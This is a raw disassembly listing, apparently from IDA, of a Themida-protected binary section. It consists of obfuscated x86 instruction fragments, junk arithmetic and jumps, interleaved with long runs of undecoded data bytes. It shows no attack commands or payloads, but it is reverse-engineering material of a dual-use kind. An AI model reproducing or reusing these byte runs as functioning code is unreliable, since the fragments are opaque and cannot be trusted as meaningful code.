dd 885AD388h, 77885BDEh, 24148B38h, 0FF9A1FE9h, 0E9F001FFh
dd 3F51h, 0E9240C8Bh, 0FFFFA813h
dword_54E2E4 dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF81F7h, 774368h
; DATA XREF: Themida_:005462B8o
dd 0B992E900h
db 2 dup(0FFh)
word_54E2FE dw 8B66h ; DATA XREF: Themida_:0054632Co
dd 8150240Ch, 4ECh, 15F5E900h, 2C330000h, 4304E924h
db 2 dup(0)
word_54E316 dw 83ADh ; DATA XREF: Themida_:00546328o
dd 0F00207Fh, 272E84h, 0D1BD5500h, 0F737161Ah, 45D5F7DDh
dd 0D007ED81h, 92E9BDAEh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E337: ; CODE XREF: Themida_:005506DCj
mov ebp, 6E4B54BBh
sub ebx, ebp
pop ebp
inc ebx
not ebx
shl ebx, 2
sub ebx, 1
push ebp
jmp loc_549DFC
; ---------------------------------------------------------------------------
db 29h, 0F5h, 8Bh
dd 0C4812434h, 4, 315DE831h, 8F66C3h, 0FF8182E9h, 0E9D788FFh
dd 0FFFFBFA1h, 24048F58h, 3C3FE9h, 24343300h, 33243431h
dd 248B2434h, 24148B24h, 8904EC83h, 0E6892434h, 4C681h
dd 0C6810000h, 4, 0E904EC83h, 2107h, 8158C329h, 0E90836C3h
dd 1C87592Bh, 24248B24h, 0FFB0D7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E3B9: ; CODE XREF: Themida_:0054EB4Dj
mov esi, 1
add ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_551640
; ---------------------------------------------------------------------------
loc_54E3CE: ; CODE XREF: Themida_:0054DE9Bj
sub esi, 611A3C93h
sub esi, 64A56300h
jmp loc_5477C3
; ---------------------------------------------------------------------------
loc_54E3DF: ; CODE XREF: Themida_:00550540j
xor [esp], ebp
jmp loc_550306
; ---------------------------------------------------------------------------
db 57h
dd 42474FFh, 24048F5Fh, 0FFEF54E9h, 0C5815DFFh, 4, 82685750h
dd 5F1D7933h, 3380EF81h, 58571D79h, 83243C8Bh, 0C58104C4h
dd 0BAD4682h, 83E9C501h, 81FFFF86h, 55E688EFh, 21E5E900h
dd 0C3810000h, 1A8654C9h, 1CC5E9h, 0A7E95800h, 5FFFFFE6h
dd 4C481h, 71E90000h, 1FFFFAAh, 51042474h, 0AD73FFB9h
dd 244C0136h, 240C8B08h, 0E904C483h, 2472h, 24048966h
dd 0C0C0B551h, 0D5F606E5h, 8873ED80h, 0C30059E8h, 0C3805866h
dd 80C30013h, 0EC8113EBh, 4, 0B2241489h, 0DAF280FDh, 8904EC83h
dd 0EAB1240Ch, 5152C9FEh, 0EE887DB5h, 52C68059h, 3043F680h
dd 0CA005AF1h, 83240C8Bh, 0D32804C4h, 0C0B60F5Ah, 0E987048Fh
dd 0FFFF802Fh
; ---------------------------------------------------------------------------
loc_54E4BC: ; CODE XREF: Themida_:00550E79j
add esp, 4
push edi
mov edi, 31363EF5h
xor ebp, edi
jmp loc_54D86C
; ---------------------------------------------------------------------------
db 0B2h
dd 0CCC28000h, 0FFDE52E9h, 3C3366FFh, 3C316624h, 48B6624h
dd 2C48124h, 66000000h, 0E9240487h, 0FFFF7FF7h, 37E9E828h
dd 81000034h, 0C503B8EFh, 23C78103h, 29611B29h, 0E0C15FF8h
dd 57E0D104h, 843AA8BFh, 5FF8316Ch, 90826C35h, 58C5018Ch
dd 2C581h, 22E90000h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E52B: ; CODE XREF: Themida_:0054A2C5j
mov ebp, 7FE71FB7h
xor esi, ebp
pop ebp
mov edi, esi
jmp loc_548030
; ---------------------------------------------------------------------------
dw 0E189h
dd 4C181h, 7CE90000h, 5B00000Ch, 148BF030h, 0E3895324h
dd 4C381h, 0BF570000h, 4, 410CE9h, 59686600h, 0C89661Dh
dd 0B60F6624h, 9C5166C8h, 0FF7F76E9h, 70E956FFh, 89FFFFE1h
dd 4C281E2h, 81000000h, 4C2h, 24148700h, 2424D35Ch, 0FF7F56E9h
dd 0C4815FFFh, 4, 0B7E9F031h, 81000004h, 4C2h, 4C28100h
dd 87000000h, 97E92414h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E5B7: ; CODE XREF: Themida_:00549BEFj
add eax, 127A0879h
sub eax, edx
sub eax, 127A0879h
mov edx, [esp]
jmp loc_54C2D7
; ---------------------------------------------------------------------------
db 89h
dd 12E951C1h, 31FFFFC6h, 0C33240Ch, 0C4815C24h, 4, 4C481h
dd 0C8850000h, 0F669E99Ch, 0BA52FFFFh, 4, 875AD329h, 895C241Ch
dd 0E9502424h, 0FFFFC7A5h
; ---------------------------------------------------------------------------
loc_54E604: ; CODE XREF: Themida_:0054EA0Aj
mov ebp, [esp]
push ecx
jmp loc_54DD3D
; ---------------------------------------------------------------------------
db 80h, 0C3h, 14h
dd 0EB80F328h, 8EE95A14h, 89FFFFBBh, 4BF57E3h, 56000000h
dd 0DF6226BEh, 5EF30178h, 0B951FB01h, 32E42FAEh, 3941E9h
db 0, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54B13F
; ---------------------------------------------------------------------------
loc_54E642: ; CODE XREF: Themida_:0054D78Aj
dec ebx
or ebx, 73D919DEh
shl ebx, 3
add ebx, 0BB2E6085h
sub ebp, ebx
pop ebx
shl ebp, 7
inc ebp
push eax
mov eax, 5B025298h
sub eax, 67AE3D07h
or eax, 26A2392Fh
push edi
jmp loc_5525C0
; ---------------------------------------------------------------------------
db 1
dd 7AE95EF0h, 2DFFFF89h, 10501Dh, 8158C101h, 4C1h, 240C8700h
dd 0FF9C2AE9h, 9EF681FFh, 0E9280F73h, 0FFFF82A8h, 0E958C630h
dd 0FFFFEDEDh, 802EB652h, 0FE3015CEh, 0FE30F730h, 3A60E9h
dd 48B6600h, 0E3895324h, 4B951h, 0CB010000h, 57240C8Bh
dd 0C781E789h, 4, 8704C783h, 685C243Ch, 690h, 0FFA00FE9h
dd 0DE95CFFh
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E6E3: ; CODE XREF: Themida_:0054D2D9j
push ebx
mov ebx, 40E43048h
shl ebx, 5
and ebx, 0ECA5A8Fh
shl ebx, 3
xor ebx, 1AB05494h
sub eax, ebx
pop ebx
jmp loc_5518B9
; ---------------------------------------------------------------------------
db 50h
dd 758C6855h, 0B85D2392h, 2392758Eh, 15DE829h, 0BDB1E9C3h
dd 0CCE9FFFFh, 0C0FFFF7Dh, 22E908E7h, 0E9FFFFE4h, 0FFFF7DBFh
dd 5954515Dh, 4C181h, 0C1810000h, 4, 5C240C87h, 35E9C331h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E747: ; CODE XREF: Themida_:00551030j
pop ecx
jmp loc_54EBF7
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 4F45B3BAh, 0EA814A0Ch, 0C4F45AEh, 0A9E9D001h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E763: ; CODE XREF: Themida_:0054749Aj
mov edi, 49881D69h
not edi
push 0
jmp loc_5521F0
; ---------------------------------------------------------------------------
loc_54E774: ; CODE XREF: Themida_:0054BB1Ej
mov ebx, 0
sub ebx, 5A495836h
add ebx, eax
add ebx, 5A495836h
add dword ptr [ebx], 1
mov ebx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
loc_54E79C: ; CODE XREF: Themida_:0054A215j
push 2DC5h
mov [esp], esi
push 238Ch
mov [esp], ebp
push ebx
xor dword ptr [esp], 31363EF5h
push dword ptr [esp]
jmp loc_550E78
; ---------------------------------------------------------------------------
loc_54E7BC: ; CODE XREF: Themida_:0054D18Aj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
add esp, 4
add esp, 4
jmp loc_5464EB
; ---------------------------------------------------------------------------
dd 0E9241C87h, 0FFFFB88Fh, 0C9FEC281h, 0D60197FEh, 2A78E9h
dd 6D0C6800h, 2C890000h, 6846BD24h, 81552C1Fh, 4805242Ch
dd 815F53E2h, 0E24805C7h, 22C8E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E80A: ; CODE XREF: Themida_:0054EA7Ej
mov [esp], edx
mov edx, 424B60C2h
mov ebx, edx
jmp loc_54D667
; ---------------------------------------------------------------------------
db 56h, 0BEh, 4
dd 1000000h, 78E95EF0h, 89FFFFAFh, 0C7095DE8h, 0F7D7F758h
dd 53C781D7h, 29739B5Ch, 366FE9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E83E: ; CODE XREF: Themida_:00548360j
xchg esi, ebx
not esi
push ebx
push esi
jmp loc_54AB4E
; ---------------------------------------------------------------------------
loc_54E849: ; CODE XREF: Themida_:00546640j
pop ecx
jmp loc_54B2B8
; ---------------------------------------------------------------------------
db 5Ch
dd 0E9240431h, 0FFFF7C93h, 2C5BD800h, 58C328C3h, 25A268h
dd 240C8900h, 0C580A5B5h, 0C0C5FE01h, 0ED8006E5h, 1DC38054h
dd 75E9EB28h, 88FFFFDCh, 2E345BF8h, 0D9E9C288h, 54000010h
dd 5B2434FFh, 0FF9998E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E895: ; CODE XREF: Themida_:00550E97j
sub eax, 0F361E092h
add ebx, eax
jmp loc_54DC0D
; ---------------------------------------------------------------------------
db 59h, 0F6h, 0D4h
dd 5866E788h, 0E905EFC0h, 0FFFFE645h, 7990F681h, 0C6817DBEh
dd 83FA78AFh, 7FE9F789h, 33FFFFD6h, 1C31241Ch, 241C3324h
dd 0B28AE95Ch, 0FE89FFFFh, 0E955525Fh, 0FFFFA143h, 6624248Bh
dd 9C242CD3h, 0FF7C02E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E8E9: ; CODE XREF: Themida_:0054C991j
push esi
push 76D2C5Dh
mov esi, [esp]
jmp loc_54F29C
; ---------------------------------------------------------------------------
db 52h
dd 0FFB8D1E9h, 2474FFFFh, 324DE904h, 0CE310000h, 0F3EA8159h
dd 102A473h, 0F3C281F2h, 5E02A473h, 2474FF52h, 63E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E922: ; CODE XREF: Themida_:0054E139j
push ebx
push esp
pop ebx
jmp loc_54DCC0
; ---------------------------------------------------------------------------
dw 0E959h
dd 0FFFFBEE0h, 0E958E588h, 0FFFF7EE2h, 34FFFE01h, 350CE924h
dd 0E1890000h, 0E9E38953h, 0FFFFC929h, 3304C083h, 81E92404h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E957: ; CODE XREF: Themida_:0054ADF7j
add ebp, 4
xchg ebp, [esp]
pop esp
xor esi, ebx
pop ebx
add esi, 0AF89FC95h
and eax, esi
mov esi, [esp]
add esp, 4
jmp loc_54ECC3
; ---------------------------------------------------------------------------
dd 0CB2495BAh, 5BEDBE20h, 0D6317B89h, 0FFACC4E9h, 48F5AFFh
dd 24248B24h, 0FF9B60E9h, 815E5BFFh, 4ECh, 243C8900h, 65EA68h
dd 242C8900h, 345D6CBDh, 0AF9DBF25h, 0EF0149BAh, 0FFF8315Dh
dd 0E95F2434h, 0F67h, 42474FFh, 83242C8Bh, 1C8904ECh, 81E38924h
dd 4C3h, 80B1E900h, 0E951FFFFh, 0FFFFB304h
dword_54E9DC dd 240C8B66h, 83E78957h, 48904ECh, 0A3BE5624h, 5174132Ah
; DATA XREF: Themida_:005462DCo
dd 384F3FB9h, 81D1F746h, 856C16E1h, 0D8C1814Eh, 0E9364A12h
dd 0FFFFF546h
; ---------------------------------------------------------------------------
loc_54EA08: ; CODE XREF: Themida_:0054A260j
and eax, ebp
jmp loc_54E604
; ---------------------------------------------------------------------------
byte_54EA0F db 66h ; DATA XREF: Themida_:00546494o
dd 68240C8Bh, 47BDh, 54242C89h, 244BE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EA22: ; CODE XREF: Themida_:0054B7BBj
pop esp
push 27A6h
mov [esp], eax
push 7452h
mov [esp], ebx
jmp loc_548E33
; ---------------------------------------------------------------------------
loc_54EA38: ; CODE XREF: Themida_:00548062j
xor eax, 7239ACBEh
push ecx
mov ecx, eax
mov esi, ecx
pop ecx
pop eax
push edi
mov edi, 19F56C79h
and esi, edi
pop edi
jmp loc_54942E
; ---------------------------------------------------------------------------
dw 0F730h
dd 0D03DE95Ah, 0E95EFFFFh, 0FFFF7A8Bh, 348BF031h, 4C48124h
dd 68000000h, 0C14h, 53243489h, 1D7BE9h
db 0
; ---------------------------------------------------------------------------
loc_54EA79: ; CODE XREF: Themida_:0055006Bj
push 0A28h
jmp loc_54E80A
; ---------------------------------------------------------------------------
loc_54EA83: ; CODE XREF: Themida_:00547D86j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], edx
push esi
sub esp, 4
mov [esp], edx
mov edx, 7E0A10E0h
mov esi, 0D6FC45BCh
add esi, edx
jmp loc_550CC9
; ---------------------------------------------------------------------------
db 50h
dd 0D56F89B8h, 1818E967h, 0E7810000h, 0C6A23BDh, 0FFE2EDE9h
dd 24048BFFh, 4C481h, 0F2010000h, 19FAE95Eh, 5C010000h
dd 0E95B0424h, 0FFFF7A03h, 4EC815Dh, 0E9000000h, 0FFFFB375h
dword_54EAF4 dd 0E92434FFh, 6E2h, 79EAC781h, 0F7010074h, 79EAEF81h
; DATA XREF: Themida_:0054637Co
dd 348B0074h, 4C48324h, 0E95751h, 55FFFFAEh, 1F94BA52h
dd 0C2812CABh, 347A03C1h, 4242D2F7h, 0FFF561E9h, 4C483FFh
dd 0FFD50DE9h, 81DEF7FFh, 0F723A1C6h, 0EBF7E96Dh, 4568FFFFh
dd 0E900000Ah, 0FFFF83B1h
; ---------------------------------------------------------------------------
loc_54EB4C: ; CODE XREF: Themida_:0054DFD1j
push esi
jmp loc_54E3B9
; ---------------------------------------------------------------------------
dw 0B951h
dd 32D0306Fh, 0EAB0E981h, 0CF891DB8h, 0D7BAE959h, 4B8FFFFh
dd 0E9000000h, 187Ah, 31242C33h, 2C33242Ch, 0DB8DE924h
dd 0F281FFFFh, 0E934E798h, 15AD601h, 0C967E9D6h, 465EFFFFh
dd 0FAF7E946h, 1487FFFFh, 48B5C24h, 4EC8324h, 0E9243489h
dd 0FFFFACDDh
; ---------------------------------------------------------------------------
loc_54EBA8: ; CODE XREF: Themida_:00549A21j
pop ebp
xchg esi, edx
xor eax, edx
xor edx, eax
jmp loc_5514AA
; ---------------------------------------------------------------------------
dd 0E904EFC1h, 0FFFF7D14h, 0E6482F68h, 0C2815A59h, 6FC30085h
dd 0DAE94A42h, 6600002Fh, 8166DDF7h, 660BD9F5h, 665DE901h
dd 7E5BE981h, 0FFEACFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54EBE5: ; CODE XREF: Themida_:0054B59Fj
sub esp, 4
mov [esp], edi
mov edi, ebx
push 1C52h
jmp loc_54A56C
; ---------------------------------------------------------------------------
loc_54EBF7: ; CODE XREF: Themida_:0054E748j
sub esp, 4
mov [esp], eax
push 7C4F23EEh
mov eax, [esp]
jmp loc_548A55
; ---------------------------------------------------------------------------
loc_54EC0A: ; CODE XREF: Themida_:00549EA4j
add esp, 4
mov edx, esi
mov esi, [esp]
add esp, 4
and eax, edx
pop edx
shr eax, 18h
jmp loc_54B387
; ---------------------------------------------------------------------------
loc_54EC23: ; CODE XREF: Themida_:0054D28Ej
push esi
mov esi, 4
add edx, esi
pop esi
jmp loc_54D460
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0C0h
dd 0E901D631h, 3838h, 8C0A12BAh, 0DBF28149h, 0E9463A7Bh
dd 2276h
; ---------------------------------------------------------------------------
loc_54EC4C: ; CODE XREF: Themida_:0054C664j
and ebx, edi
mov edi, [esp]
add esp, 4
inc ebx
neg ebx
push eax
mov eax, 5B0D6885h
and eax, 214B06C6h
and eax, 6F594DAAh
jmp loc_5486A7
; ---------------------------------------------------------------------------
dd offset aProtocolString+13h
align 4
dd 0FFE158E9h, 48966FFh, 7869E924h, 0C8BFFFFh, 4C48124h
dd 58000000h, 91E9535Ah, 83FFFFD2h, 0C98104C4h, 5F24320Dh
dd 7448BA52h, 67E97515h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54ECA7: ; CODE XREF: Themida_:0054DE8Ej
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
pop eax
push edx
mov edx, esp
add edx, 4
jmp loc_54B1BA
; ---------------------------------------------------------------------------
loc_54ECC3: ; CODE XREF: Themida_:0054E96Fj
shr eax, 12h
xor eax, ecx
push 33C0h
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push ebp
push edx
mov edx, 64926268h
add edx, 0FFFFFFFFh
shl edx, 5
and edx, 3ED64988h
jmp loc_552881
; ---------------------------------------------------------------------------
dd 4C481h, 0B9510000h, 6E391C1Dh, 2959C829h, 1C1D05D8h
dd 0CB2D6E39h, 5113B92Dh, 865686B9h, 4E9C13Dh, 0FF9AB7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54ED25: ; CODE XREF: Themida_:005498A6j
pop eax
add bh, dh
jmp loc_547DD2
; ---------------------------------------------------------------------------
byte_54ED2D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054620Co
dd 582434FFh, 2562E9h, 89535C00h, 4C381E3h, 83000000h
dd 1C8704C3h, 0E1F75C24h, 4CAA68h, 24148900h, 90E99C50h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ED5B: ; CODE XREF: Themida_:00546C6Ej
mov ebx, 3D761BBAh
add eax, ebx
jmp loc_547434
; ---------------------------------------------------------------------------
db 8Bh
dd 0C3812424h, 4, 8702C383h, 665C241Ch, 9C2404FFh, 0FF776AE9h
dd 0B9515EFFh, 2C904DFFh, 831BE950h, 0FA29FFFFh, 0FFDA14E9h
dd 0EB81FFh, 0E9014040h, 0FFFF8CBBh, 8324248Bh, 3C8904ECh
dd 835F5424h, 348904ECh, 4BE24h, 0F7010000h, 5024348Bh
dd 405E089h, 5000000h, 4, 5C240487h, 1348E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EDD2: ; CODE XREF: Themida_:0054F21Dj
and eax, ebx
jmp loc_54B53B
; ---------------------------------------------------------------------------
loc_54EDD9: ; CODE XREF: Themida_:0055260Aj
push esi
jmp loc_54F110
; ---------------------------------------------------------------------------
db 0BFh
dd 7DF398Ah, 6F366855h, 0B3E93E36h, 8FFFFFCDh, 4832404h
dd 525F0424h, 0E175B1BAh, 9C28142h, 81447555h, 0B925F2C2h
dd 0ECC2813Bh, 6818FB43h, 0
dd 0E9241429h, 0FFFFD9D9h, 24048F5Eh, 240CD35Ch, 0E51AE99Ch
dd 0DE29FFFFh, 2C6815Bh, 1167017h, 2EE81FEh, 81167017h
dd 0E07C88C6h, 3BEE8105h, 0FF2B796Ch, 0ECE92434h, 87FFFFF5h
dd 5C2434h, 0ECC0E9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EE5A: ; CODE XREF: Themida_:0054F112j
push ebp
mov ebp, 4
add esi, ebp
jmp loc_5483FC
; ---------------------------------------------------------------------------
db 2Dh
dd 9A515B79h, 0B958C389h, 224B3CF7h, 81FE9h
db 0
; ---------------------------------------------------------------------------
loc_54EE79: ; CODE XREF: Themida_:00550A17j
mov eax, 2A2F28A2h
add esi, eax
mov eax, [esp]
jmp loc_549EFA
; ---------------------------------------------------------------------------
dd 0F94EE95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54EE8E: ; CODE XREF: Themida_:0054B0A7j
mov ebp, 24h
push edi
mov edi, ebp
mov eax, edi
pop edi
push dword ptr [esp]
pop ebp
add esp, 4
sub eax, 5D152ACFh
jmp loc_54671D
; ---------------------------------------------------------------------------
word_54EEAA dw 68h ; DATA XREF: Themida_:00546348o
dd 0FF000000h, 1C8B2434h, 202AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54EEBA: ; CODE XREF: Themida_:00548CC4j
sub esp, 4
mov [esp], edx
jmp loc_547CAB
; ---------------------------------------------------------------------------
db 5Eh, 50h, 89h
dd 0E9C389C8h, 664h
dword_54EED0 dd 4EC81ADh, 89000000h, 51BF243Ch, 0E92ABF64h, 0FFFF7F1Eh
; DATA XREF: Themida_:0054638Co
dd 4EE815Ah, 0E9000000h, 0FFFFB455h, 86CA815Eh, 814BC115h
dd 4ECh, 24348900h, 4EC81h, 14890000h, 0BB535524h, 31A36C96h
dd 78E9DD89h, 87FFFFE8h, 4A5C2404h, 0D6F7F287h, 0C283F287h
dd 0EEA8101h, 5BB636Ah, 4CC2642Ah, 0BB53D001h, 4CC2642Ah
dd 0E95BD829h, 0FFFF783Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5520F3
; ---------------------------------------------------------------------------
dword_54EF54 dd 8B2434FFh, 0ADE92404h, 53FFFFDBh, 3433E1BBh, 38C38153h
; DATA XREF: Themida_:00546400o
dd 892BF92Dh, 0AB83E9DDh, 8B66FFFFh, 0E4E92404h, 0FFFFFFA4h
dd 7569E930h, 0E981FFFFh, 18775B81h, 0C181F901h, 18775B81h
dd 0FAE981h, 3C8B7FE2h, 4C48124h, 68000000h, 3663h, 0FF240C89h
dd 59042474h, 5C24048Fh, 0FFF6FCE9h, 0E3BB53FFh, 92B8521h
dd 13685BDEh, 8900001Dh, 8952242Ch, 4C281E2h, 0E9000000h
dd 0FFFFCFCEh, 0FF243C89h, 5F042474h, 0E924048Fh, 1E7h
; ---------------------------------------------------------------------------
loc_54EFE4: ; CODE XREF: Themida_:00547A0Dj
add ebx, 48521057h
shr ebx, 2
add ebx, 0F814CBF0h
add esi, ebx
pop ebx
add esi, 4
xchg esi, [esp]
jmp loc_550685
; ---------------------------------------------------------------------------
loc_54F001: ; CODE XREF: Themida_:0054BAC4j
add esp, 4
push ebp
mov ebp, esp
push edi
push eax
mov eax, 57D377AAh
jmp loc_5482B1
; ---------------------------------------------------------------------------
db 89h
dd 0E589242Ch, 4C581h, 9DE90000h
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F023: ; CODE XREF: Themida_:005468C5j
shl edx, 8
inc edx
xor edx, 7650005Dh
sub edx, 9E4FCA58h
add ebp, edx
pop edx
jmp loc_54D76A
; ---------------------------------------------------------------------------
aIIis7 db '┬щ[┬КИ7',0Dh,0
db 0
; ---------------------------------------------------------------------------
loc_54F045: ; CODE XREF: Themida_:00548076j
mov edi, esp
jmp loc_54C784
; ---------------------------------------------------------------------------
loc_54F04C: ; CODE XREF: Themida_:005470DCj
sub esp, 4
mov [esp], ebx
jmp loc_548DD8
; ---------------------------------------------------------------------------
db 0B8h
dd 0A412665h, 59EABF57h, 30E91583h, 8000001Dh, 0D58867F2h
dd 0E924148Bh, 0FFFFF05Ch
; ---------------------------------------------------------------------------
loc_54F074: ; CODE XREF: Themida_:0054BACBj
push 783Fh
jmp loc_54A3F2
; ---------------------------------------------------------------------------
dw 0C681h
dd 2, 31243433h, 34332434h, 9913E924h
db 2 dup(0FFh)
word_54F092 dw 2DADh ; DATA XREF: Themida_:0054624Co
dd 7A707A16h, 8904EC83h, 0FDBF243Ch, 810F464Fh, 6407B5E7h
dd 684705h, 29000000h, 815F243Ch, 961642F7h, 29F78167h
dd 29E6E9A0h, 6E2D5FF8h, 57E7A43h, 3D8948B7h, 0EBE9D801h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F0D3: ; CODE XREF: Themida_:00546BFEj
push 6B41h
jmp loc_54BEBF
; ---------------------------------------------------------------------------
loc_54F0DD: ; CODE XREF: Themida_:00548C49j
add esp, 4
and eax, esi
jmp loc_54D12C
; ---------------------------------------------------------------------------
dw 0E380h
dd 8EBDE91Dh
db 2 dup(0FFh)
word_54F0F2 dw 8B66h ; DATA XREF: Themida_:00546418o
dd 81522404h, 4ECh, 24248900h, 4240481h, 8B000000h, 0E9502414h
dd 2461h
; ---------------------------------------------------------------------------
loc_54F110: ; CODE XREF: Themida_:0054EDDAj
mov esi, esp
jmp loc_54EE5A
; ---------------------------------------------------------------------------
db 66h
dd 0E69DE951h
db 2 dup(0FFh)
word_54F11E dw 8B66h ; DATA XREF: Themida_:00546340o
dd 68552404h, 6303h, 24048F54h, 4240483h, 0FF8860E9h, 241C89FFh
dd 0FFF74EE9h, 243489FFh, 142E68h, 93F6E900h, 0C328FFFFh
dd 0DA885258h, 5350DAF6h, 0FFF210E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F159: ; CODE XREF: Themida_:0054CB62j
shr ecx, 7
push ebx
push ebp
push ecx
push eax
mov eax, 56041F85h
mov ecx, eax
jmp loc_54B93F
; ---------------------------------------------------------------------------
loc_54F16C: ; CODE XREF: Themida_:0054F2ADj
push eax
mov eax, 60770BFDh
jmp loc_55277E
; ---------------------------------------------------------------------------
db 0B6h
dd 0E9526674h, 291Ah
; ---------------------------------------------------------------------------
loc_54F180: ; CODE XREF: Themida_:00550CC4j
pop ecx
add esp, 4
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
db 61h, 0C3h
word_54F18E dw 8B66h ; DATA XREF: Themida_:00546208o
dd 68552404h, 4ABDh, 0E9242489h, 0FFFF89F2h, 0FF7346E9h
dd 4EC83FFh, 0BA241489h, 4, 42E3C681h, 0D6013A4Ah, 0BD4B850h
dd 0BEE906FFh, 83FFFF8Fh, 65E904E9h, 8BFFFFA5h, 14892424h
dd 1CB96824h, 4890000h, 7A77E924h, 8358FFFFh, 348904ECh
dd 0FFE95424h, 8100002Fh, 2EFF82F1h, 34815171h, 0AD404A24h
dd 4A35584Dh, 594DAD40h, 6858C601h, 42BCh, 0FFBC71E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F20D: ; CODE XREF: Themida_:0054853Bj
add eax, 4
jmp loc_546BAA
; ---------------------------------------------------------------------------
loc_54F217: ; CODE XREF: Themida_:0054DBB0j
xor ebx, 511B0146h
jmp loc_54EDD2
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48124h, 29000000h, 240C8BCAh, 4C481h, 0BD550000h
dd 5FED7D28h, 815DEA01h, 0AA3537EAh, 0E4C2811Fh, 29181045h
dd 0E4EA81C2h, 81181045h, 0AA3537C2h, 0C444E91Fh, 0F681FFFFh
dd 0B923C6F5h, 895EF531h, 38255DE8h, 2D7AE629h, 0F425D8ECh
dd 0E958C121h, 67h, 15EF289h, 1C335AD3h, 241C3124h, 8B241C33h
dd 0CFE92424h, 59FFFF9Dh, 0E902EC83h, 0FFFFB16Bh
; ---------------------------------------------------------------------------
loc_54F29C: ; CODE XREF: Themida_:0054E8F2j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_54F16C
; ---------------------------------------------------------------------------
dw 0F581h
aSQH6p db 0Ah
db ' "S)О]h6P',0
align 10h
dd 56241489h, 40626C68h, 0A627E96Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F2CE: ; CODE XREF: Themida_:0054CE4Dj
pop esp
mov [esp], esi
push ebx
jmp loc_54B7F0
; ---------------------------------------------------------------------------
dd 5331B951h, 46E94EE7h, 57FFFF9Fh, 16AAB850h, 0C789D457h
dd 0B922E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F2F2: ; CODE XREF: Themida_:0054FFA6j
mov edi, 3D43227h
shl edi, 5
sub edi, 640F634Fh
push esi
mov esi, 368D474Dh
add edi, esi
pop esi
and edi, 6FCE2191h
sub edi, 4A96FC89h
or ebp, edi
pop edi
jmp loc_55040D
; ---------------------------------------------------------------------------
db 0E9h, 0C9h, 71h
dd 5258FFFFh, 0FF7F41E9h, 0EFC05AFFh, 2E7C006h, 6866D7F6h
dd 7CE9098Ch, 5EFFFFD4h, 8B24048Fh, 4812424h, 705F8724h
dd 242C8138h, 122E6DDDh, 0FFB3E5E9h, 0C5815BFFh, 2, 81E38953h
dd 4C3h, 4EB8300h, 0FFF467E9h, 0E0E680FFh, 803FF680h, 0F30061C6h
db 5Ah, 28h, 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push eax
jmp loc_54A7C7
; ---------------------------------------------------------------------------
loc_54F394: ; CODE XREF: Themida_:00548D76j
mov ebp, eax
jmp loc_54D96A
; ---------------------------------------------------------------------------
db 0C0h
dd 0F9E903E6h, 5AFFFFA2h, 4C481h, 0C1810000h, 2, 5C240C87h
dd 66E9F766h, 0E9339B68h, 0FFFFD6E0h, 54240489h, 8324048Bh
dd 0BE5604C4h, 4, 0E95EF001h, 378h, 4DE95052h, 1FFFF88h
dd 0CBE959CEh, 68FFFFC8h, 74C65595h, 4EFC15Fh, 0B3E9EFD1h
dd 1FFFFD1h, 685A5DE8h, 1358h, 51241C89h, 0F2432CB9h, 0C1D9F739h
dd 856807E1h, 8900002Ah, 0A1BA2414h, 8134B03Fh, 96599AE2h
dd 3407E91Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F426: ; CODE XREF: Themida_:005476C4j
xor al, 30h
push 19EDh
mov [esp], ebx
mov bh, al
jmp loc_54F5B4
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF70AFh, 24048F5Ch, 6624248Bh, 2404B30Fh, 709DE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F44E: ; CODE XREF: Themida_:005485AFj
pop eax
